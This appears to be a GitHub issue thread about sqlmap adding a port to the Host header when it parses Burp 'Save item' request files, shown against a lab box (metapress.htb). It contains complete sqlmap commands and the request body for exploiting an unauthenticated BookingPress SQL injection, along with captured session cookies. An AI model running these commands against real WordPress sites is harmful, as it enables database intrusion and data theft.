SQLMap appends port to Host header from request file, breaking virtual host resolution

[behindsecurity]

Describe the bug

SQLMap modifies the Host header from saved request files by appending the explicit port number (e.g., :80), which breaks virtual host resolution on web servers configured to match exact hostnames without ports. This causes the target server to return 302 redirects instead of the expected responses, preventing SQLMap from detecting or exploiting vulnerabilities.

To Reproduce

1. This is how the request looks like in BurpSuite Community with Host: metapress.htb (without port, for obvious reasons):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: http://metapress.htb
DNT: 1
Connection: keep-alive
Referer: http://metapress.htb/events/
Cookie: PHPSESSID=l2ve5br129sggimqop44241kg0
Priority: u=0

action=bookingpress_front_get_category_services&category_id=1&total_service=&_wpnonce=1a518999a4&total_service=1

Right-click and "Save item". Saved to unauth-sqli.req

2. Add to /etc/hosts: 10.129.228.95 metapress.htb

3. Run: python3 sqlmap.py -r unauth-sqli.req --dbms mysql -t 20 --risk 3 --level 5 --technique U --proxy http://127.0.0.1:8080 -p total_service

4. Observe through proxy (Burp Suite) that SQLMap sends Host: metapress.htb:80 instead of Host: metapress.htb

Expected behavior

SQLMap should preserve the Host header exactly as provided in the request file (Host: metapress.htb), not append the port number.

Screenshots

Original request (works - returns 200 OK):

SQLMap's modified request (fails - returns 302 redirect):

Response difference:

• With Host: metapress.htb: HTTP/1.1 200 OK with JSON application data
• With Host: metapress.htb:80: HTTP/1.1 302 Moved Temporarily with redirect to homepage

Running environment:

• sqlmap version: dev branch (1.9.11.3#dev)
• Installation method: git clone
• Operating system: Debian Linux
• Python version: 3.11.2

Target details:

• DBMS: MySQL
• SQLi techniques found by sqlmap: None (prevented by Host header issue causing 302 redirects)
• WAF/IPS: None
• Relevant console output: SQLMap receives 302 redirects instead of application responses, preventing vulnerability detection
• Exception traceback: None - no errors, just incorrect behavior

The root cause appears to be SQLMap reconstructing the Host header from parsed components rather than preserving the original value from the -r request file.

A suggested fix would be to preserve the exact Host header from the request file, or add a command-line option like --preserve-host-header to prevent modification.

[behindsecurity]

SQLMap finds and exploits the vulnerability just fine if I use --data to specify the request with python3 ~/hacking/tools/sqlmap-dev/sqlmap.py -u http://metapress.htb/wp-admin/admin-ajax.php --dbms mysql -t 20 --risk 3 --level 5 --technique U --data 'action=bookingpress_front_get_category_services&category_id=1&total_service=&_wpnonce=1a518999a4&total_service=*' --proxy http://127.0.0.1:8080

The issue only occurs when parsing the request file from burpsuite

[nu11secur1ty]

😂 close this, this is not an SQLmap issue dude! 😂

[behindsecurity]

How the request looks like:

Right-click, "save item". Saved to "metapress.req". This is how the "metapress.req" saved request file looks like:

<?xml version="1.0"?>
<!DOCTYPE items [
<!ELEMENT items (item*)>
<!ATTLIST items burpVersion CDATA "">
<!ATTLIST items exportTime CDATA "">
<!ELEMENT item (time, url, host, port, protocol, method, path, extension, request, status, responselength, mimetype, response, comment)>
<!ELEMENT time (#PCDATA)>
<!ELEMENT url (#PCDATA)>
<!ELEMENT host (#PCDATA)>
<!ATTLIST host ip CDATA "">
<!ELEMENT port (#PCDATA)>
<!ELEMENT protocol (#PCDATA)>
<!ELEMENT method (#PCDATA)>
<!ELEMENT path (#PCDATA)>
<!ELEMENT extension (#PCDATA)>
<!ELEMENT request (#PCDATA)>
<!ATTLIST request base64 (true|false) "false">
<!ELEMENT status (#PCDATA)>
<!ELEMENT responselength (#PCDATA)>
<!ELEMENT mimetype (#PCDATA)>
<!ELEMENT response (#PCDATA)>
<!ATTLIST response base64 (true|false) "false">
<!ELEMENT comment (#PCDATA)>
]>
<items burpVersion="2025.10.6" exportTime="Wed Dec 03 10:33:47 GMT-03:00 2025">
  <item>
    <time>Wed Dec 31 21:00:00 GMT-03:00 1969</time>
    <url><![CDATA[http://metapress.htb/wp-admin/admin-ajax.php]]></url>
    <host ip="10.129.24.244">metapress.htb</host>
    <port>80</port>
    <protocol>http</protocol>
    <method><![CDATA[POST]]></method>
    <path><![CDATA[/wp-admin/admin-ajax.php]]></path>
    <extension>php</extension>
    <request base64="true"><![CDATA[UE9TVCAvd3AtYWRtaW4vYWRtaW4tYWpheC5waHAgSFRUUC8xLjENCkhvc3Q6IG1ldGFwcmVzcy5odGINClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6MTQwLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTQwLjANCkFjY2VwdDogYXBwbGljYXRpb24vanNvbiwgdGV4dC9wbGFpbiwgKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUsIGJyDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KQ29udGVudC1MZW5ndGg6IDk2DQpPcmlnaW46IGh0dHA6Ly9tZXRhcHJlc3MuaHRiDQpETlQ6IDENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClJlZmVyZXI6IGh0dHA6Ly9tZXRhcHJlc3MuaHRiL2V2ZW50cy8NCkNvb2tpZTogd29yZHByZXNzXzQ5OGIyODc5N2I5Y2NlZjYxZTE5ZjU0ZTI3ZDllNmY0PW1hbmFnZXIlN0MxNzY1OTY3MjM4JTdDTTlLU1Njb0JWWWlvbGV5aFRlU1J4WXY0UkFZalFFUHF2WFUwam81bVoxdyU3QzFmYzU0OGRiZTBmODUwNTEzMTNmMTM4ZWM0ZDUyYWEzNzJhYWJlNTMxMjRhYzlhMTQxNzZhOTIyZGY3NjMyMTY7IFBIUFNFU1NJRD1kdTlkZ2RodWtjdW9iNjhsN3RpbGQ1aDdrNjsgd29yZHByZXNzX3Rlc3RfY29va2llPVdQJTIwQ29va2llJTIwY2hlY2s7IHdvcmRwcmVzc19sb2dnZWRfaW5fNDk4YjI4Nzk3YjljY2VmNjFlMTlmNTRlMjdkOWU2ZjQ9bWFuYWdlciU3QzE3NjU5NjcyMzglN0NNOUtTU2NvQlZZaW9sZXloVGVTUnhZdjRSQVlqUUVQcXZYVTBqbzVtWjF3JTdDYjE2Y2UwNWMzNjg3ZjQ2M2E3ZDg4MWMxMWRhYjI2N2YwMmEzOTlmNTIxYzA5N2ZjNjkxNmY5YTYwOTk4Y2U2OTsgd3Atc2V0dGluZ3MtdGltZS0yPTE3NjQ3NTgwMDkNClByaW9yaXR5OiB1PTANCg0KYWN0aW9uPWJvb2tpbmdwcmVzc19mcm9udF9nZXRfY2F0ZWdvcnlfc2VydmljZXMmY2F0ZWdvcnlfaWQ9MSZ0b3RhbF9zZXJ2aWNlPTEmX3dwbm9uY2U9YjQ2OWU5Mjk3OA==]]></request>
    <status></status>
    <responselength></responselength>
    <mimetype></mimetype>
    <response base64="true"></response>
    <comment></comment>
  </item>
</items>

As you can see the Host header is kept intact, so the issue is not related to any burpsuite configuration on my side. If I use this perfectly fine request with sqlmap, it magically adds the port number to my intact Host: header which borks the whole process, the server immediately returns 302 pointing to the (correclty) configured vhost on metapress.htb:

$ python3 ~/hacking/tools/sqlmap-dev/sqlmap.py -r ~/metapress.req --dbms mysql -t 20 --risk 3 --level 5 --technique U -p total_service --flush
        ___
       __H__                                                                         
 ___ ___[']_____ ___ ___  {1.9.11.3#dev}                                             
|_ -| . [.]     | .'| . |                                                            
|___|_  [.]_|_|_|__,|  _|                                                            
      |_|V...       |_|   https://sqlmap.org                                         

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:34:51 /2025-12-03/

[10:34:51] [INFO] parsing HTTP request from '/home/user/metapress.req'
[10:34:51] [INFO] setting file for logging HTTP traffic
[10:34:51] [INFO] flushing session file
[10:34:51] [INFO] testing connection to the target URL
got a 302 redirect to 'http://metapress.htb/'. Do you want to follow? [Y/n] 

If I intercept this request on burpsuite by adding --proxy http://127.0.0.1:8080 I can clearly see sqlmap adds the port number to my Host header deliberately:

Host: metapress.htb:80

As you can see from the screenshot below:

Which the server correctly redirects back to the proper vhost, and sqlmap never finds the injection point despite it being absolutely vulnerable.

The SAME request, if instead of "save item" on burp I select "copy to file":

Save it to ~/metapress.req.copy and feed sqlmap:

python3 ~/hacking/tools/sqlmap-dev/sqlmap.py -r ~/metapress.req.copy --dbms mysql -t 20 --risk 3 --level 5 --technique U -p total_service --flush

It immediately finds the injection point, lol

And this is how the ~/metapress.req.copy file looks like:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: http://metapress.htb
DNT: 1
Connection: keep-alive
Referer: http://metapress.htb/events/
Cookie: wordpress_498b28797b9ccef61e19f54e27d9e6f4=manager%7C1765967238%7CM9KSScoBVYioleyhTeSRxYv4RAYjQEPqvXU0jo5mZ1w%7C1fc548dbe0f85051313f138ec4d52aa372aabe53124ac9a14176a922df763216; PHPSESSID=du9dgdhukcuob68l7tild5h7k6; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_498b28797b9ccef61e19f54e27d9e6f4=manager%7C1765967238%7CM9KSScoBVYioleyhTeSRxYv4RAYjQEPqvXU0jo5mZ1w%7Cb16ce05c3687f463a7d881c11dab267f02a399f521c097fc6916f9a60998ce69; wp-settings-time-2=1764758009
Priority: u=0

action=bookingpress_front_get_category_services&category_id=1&total_service=1&_wpnonce=b469e92978

So do you mind elaborating how this would NOT be a sqlmap parsing issue? I appreciate it.

😂 close this, this is not an SQLmap issue dude! 😂

[nu11secur1ty]

Thank you, Miroslav. BR exit 0;